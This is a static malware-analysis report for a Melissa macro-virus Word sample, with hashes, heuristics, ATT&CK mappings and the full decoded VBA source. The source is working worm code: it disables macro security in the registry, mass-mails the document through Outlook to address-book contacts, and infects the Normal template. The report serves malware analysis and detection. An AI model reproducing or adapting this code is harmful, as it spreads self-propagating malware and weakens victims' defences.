Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 e09658a41b50736d…

MALICIOUS

Office (OLE)

57.0 KB Created: 1999-12-27 14:21:00 Authoring application: Microsoft Word 8.0 First seen: 2016-04-02
MD5: 24f57ed59ad7e268aae4deedadb5d8a0 SHA-1: add2eb3ddb109fea83dc4a38e800a12ab59a2c22 SHA-256: e09658a41b50736d858a34a34c10a7b3312391d7c676880d96ad774a18a21b88
260 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample contains VBA macros, specifically a Document_Open macro, which is designed to execute automatically when the document is opened. This macro uses CreateObject to interact with Outlook, attempting to send copies of the document to contacts in the victim's address book. The ClamAV detection of 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Melissa-4' strongly suggests this is the Melissa virus, known for its email-spreading capabilities.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12811 bytes
SHA-256: 79b07fcaa54553cf59f9cb501139553c183694f751a964bc9836a5074d51333d
Detection
ClamAV: Doc.Trojan.Melissa-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Melissa"
Attribute VB_Base = "1Normal.Melissa"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.codemodule.CountOfLines
ADCL = ADI1.codemodule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.codemodule.deletelines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.codemodule.deletelines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.codemodule.Lines(1, 1) = ""
ADI1.codemodule.deletelines 1
Loop
ToInfect.codemodule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.codemodule.Lines(BGN, 1) <> ""
ToInfect.codemodule.InsertLines BGN, ADI1.codemodule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.codemodule.Lines(1, 1) = ""
NTI1.codemodule.deletelines 1
Loop
ToInfect.codemodule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.codemodule.Lines(BGN, 1) <> ""
ToInfect.codemodule.InsertLines BGN, NTI1.codemodule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub


' Processing file: /opt/analyzer/scan_staging/9fd6475635b249e2bad208ebf764d2a3.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Melissa - 10241 bytes
' Line #0:
' 	FuncDefn (Private Sub Docum
... (truncated)

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